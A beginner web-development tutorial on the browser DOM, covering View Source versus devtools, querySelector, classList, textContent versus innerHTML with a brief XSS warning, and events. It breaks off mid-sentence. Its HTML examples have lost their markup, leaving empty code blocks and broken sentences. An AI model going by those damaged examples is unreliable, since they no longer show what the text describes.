# The DOM Explained
> The DOM is the live, in-memory tree the browser builds from your HTML - and the thing JavaScript actually touches. Learn how it differs from the HTML source, how to select and change elements, and how events bubble.
---
# The DOM Explained
Open any page, right-click, choose "Inspect," and you're looking at the DOM - not the HTML file the
server sent, but a live tree of objects the browser built from it. JavaScript doesn't touch your HTML
source. It touches this tree. Change the tree, and the page changes, instantly, with no re-download and
no server involved.
This guide assumes you know basic JavaScript syntax - variables, functions, conditionals. If that's
still new, start with [JavaScript From Zero](/guides/javascript-from-zero) and come back. Here, the
focus is narrower: what the DOM is, how to select and modify elements in it, and how events travel
through it.
## The phases
1. **[The DOM Is Not the HTML](01-the-dom-is-not-the-html.md)** - the browser parses HTML into a tree of
objects; that tree, not the original text, is what JavaScript sees. View Source vs. the Elements panel,
and what happens when JavaScript changes the tree.
2. **[Selecting and Modifying Elements](02-selecting-and-modifying-elements.md)** - `querySelector` and
`querySelectorAll`, `classList`, `textContent` vs. `innerHTML` (and the XSS risk of the latter), reading
and writing inline styles.
3. **[Events: Listening, Bubbling, and Delegation](03-events-listening-bubbling-and-delegation.md)** -
`addEventListener`, the event object, bubbling, and event delegation - one listener handling clicks for
an entire list instead of one per item.
By the end, you'll read a page's real structure in devtools instead of guessing from the source, and
you'll know why professional codebases attach far fewer event listeners than you'd expect.
---
# The DOM Is Not the HTML
When a browser loads a page, it reads the HTML text once, parses it, and throws the text away. What's
left is the **DOM** - the Document Object Model - a tree of JavaScript objects sitting in memory. Every
tag becomes a node. Every attribute becomes a property. That tree is the page, as far as the browser
and JavaScript are concerned. The original HTML string is gone.
This distinction matters because two browser tools show two different things, and mixing them up leads
to real confusion when debugging.
## View Source vs. the Elements panel
**View Source** (`Ctrl+U` or `view-source:` in the address bar) shows the raw HTML the server sent, as
plain text. It never changes, no matter what JavaScript does afterward. It's a network response, frozen.
**The Elements panel** in devtools (right-click → Inspect) shows the live DOM tree - the current state
of the page, including anything JavaScript has added, removed, or changed since load. Open it on a page
with an infinite-scroll feed, a modal that just opened, or a shopping cart counter, and you'll see
elements that never existed in the original HTML at all.
Say a page's server-rendered HTML looks like this:
```html
```
An empty cart. Now a script runs on load:
```js
const cart = document.getElementById('cart');
const item = document.createElement('li');
item.textContent = 'Wireless Mouse - $24.99';
cart.appendChild(item);
```
Reload the page and check View Source: still an empty `
`. That's the text the server
sent - `createElement` never touched it. Now open the Elements panel: it shows `
Wireless
Mouse - $24.99
`. The tree grew a new node; the source text didn't move.
This is the single most common source of "but the HTML says X" bug reports. The HTML said X. The DOM,
which is what the user actually sees, says Y, because a script ran after the page loaded.
## The DOM is a tree, and it's an API
Parsing turns nested tags into a parent-child tree. `` is the parent of `
`, `
` is the
parent of each `
`, and so on. Every node in that tree is an object with properties and methods:
`.textContent`, `.children`, `.parentElement`, `.appendChild()`, `.remove()`. JavaScript doesn't edit
text - it calls methods on tree nodes, and the browser re-renders whatever changed.
That's also why the DOM is described as **live**: hold a reference to a node in a variable, mutate the
page around it, and the variable still points at the same object, wherever it ends up. Nodes don't get
recreated on every change - they're mutated in place.
## Why this trips people up
A few consequences follow directly from "DOM is live, HTML is static text":
- **"View source shows different HTML than the inspector."** Expected. View Source is the original
response; the inspector is the current tree. A single-page app that renders everything with JavaScript
might show almost nothing in View Source and a full page in the Elements panel.
- **Search engines and scrapers that only fetch raw HTML miss anything JavaScript adds.** This is why
some sites need server-side rendering - crawlers that don't execute JavaScript only ever see the View
Source version.
- **`Ctrl+F` in View Source won't find text that JavaScript injected.** Search the Elements panel
instead, or use devtools' own search (`Ctrl+Shift+F` in Chrome DevTools) which searches the live DOM.
- **Editing the Elements panel directly** (double-click any text or attribute in devtools) changes the
live DOM immediately, visible on screen - but it never touches the server's HTML file, and it's gone
on refresh.
None of this requires new syntax yet - just the mental model. The next phase covers the actual methods
for finding and changing DOM nodes from a script.
Check that this landed:
```quiz
[
{
"q": "You run JavaScript that adds a new
to a list. What does View Source show afterward?",
"choices": ["The new
, added to the text", "The original HTML, unchanged", "An error, because View Source updates automatically"],
"answer": 1,
"explain": "View Source is the raw response text from the server. It's frozen at load time - only the live DOM (visible in devtools' Elements panel) reflects JavaScript changes."
},
{
"q": "What does the browser do with the original HTML text after parsing it?",
"choices": ["Keeps it in sync with the DOM forever", "Discards it - the DOM tree is what remains", "Re-downloads it on every DOM change"],
"answer": 1,
"explain": "Parsing builds the DOM tree in memory; the source text isn't kept around or updated."
},
{
"q": "Why might a search engine crawler miss content that's visible in the browser?",
"choices": ["The content is hidden with CSS", "The crawler only reads the raw HTML and doesn't run the JavaScript that adds the content to the DOM", "The content is too far down the page"],
"answer": 1,
"explain": "A crawler that doesn't execute JavaScript only sees the View Source version - anything added to the DOM afterward is invisible to it."
}
]
```
---
# Selecting and Modifying Elements
Working with the DOM comes down to two steps: find the node, then change it. This phase covers both,
using one running example - a card component you'll select and mutate several different ways.
```html
Pro Plan
$12/mo
```
## Finding elements
`document.querySelector(selector)` returns the **first** matching element, using normal CSS selector
syntax - the same syntax you already know from stylesheets:
```js
const card = document.querySelector('.card');
const title = document.querySelector('#pricing-card .card-title');
const button = document.querySelector('.card-btn');
```
`document.querySelectorAll(selector)` returns **every** match, as a static NodeList. Loop it with
`forEach`:
```js
document.querySelectorAll('.card').forEach(card => {
console.log(card.querySelector('.card-price').textContent);
});
```
You'll also see `getElementById('pricing-card')` and `getElementsByClassName('card')` in older code.
They're faster in theory but pickier about syntax (no CSS selectors, no combinators) and
`getElementsByClassName` returns a **live** collection that updates as the DOM changes, which surprises
people. `querySelector`/`querySelectorAll` cover nearly everything and read the same as CSS - default to
them.
## Changing classes with classList
Toggling a CSS class is the normal way to change appearance or state from JavaScript - the styling stays
in CSS, JavaScript just flips a switch:
```js
button.classList.add('is-loading'); // add a class
button.classList.remove('is-loading'); // remove it
button.classList.toggle('is-active'); // add if missing, remove if present
button.classList.contains('is-active'); // true/false check
```
A "Subscribe" button that disables itself and shows a spinner while a request is in flight:
```js
button.addEventListener('click', () => {
button.classList.add('is-loading');
button.disabled = true;
});
```
The CSS (`.is-loading { opacity: 0.6; cursor: wait; }`) lives in your stylesheet, untouched by this
guide - see [CSS Without Tears](/guides/css-without-tears) if that part is unfamiliar.
## textContent vs. innerHTML
Both set an element's contents. They are not interchangeable.
`textContent` sets or reads **plain text**. Anything you assign is treated as text, never parsed as
markup:
```js
title.textContent = 'Enterprise Plan';
```
`innerHTML` sets or reads **HTML**, parsing tags in the string:
```js
title.innerHTML = 'Enterprise Plan';
```
That parsing is the danger. If the string ever contains user input, `innerHTML` will execute it -
including `